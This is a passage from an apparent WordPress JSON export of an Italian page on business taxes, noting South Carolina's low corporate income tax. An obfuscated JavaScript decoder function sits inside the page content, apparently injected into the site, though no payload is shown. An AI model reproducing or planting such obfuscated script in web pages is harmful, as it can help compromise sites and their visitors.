il nostro team<\/a>[\/vc_column_text][\/vc_column][\/vc_row]<br \/>\nfunction _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2[_0x30231a];return _0x2b207e;},_0x3023(_0x562006,_0x1334d6);};<\/p>\n<\/div>","protected":false},"excerpt":{"rendered":"<p>[vc_row el_class=&#8221;intro&#8221;][vc_column width=&#8221;2\/3&#8243;][vc_column_text] Imposte sulle imprese [\/vc_column_text][vc_row_inner][vc_column_inner][vc_column_text el_class=&#8221;market&#8221;] Imposta sul reddito delle societ\u00e0 Una delle aliquote pi\u00f9 basse dell&#8217;imposta sul reddito delle societ\u00e0 nella nazione si trova in South Carolina. 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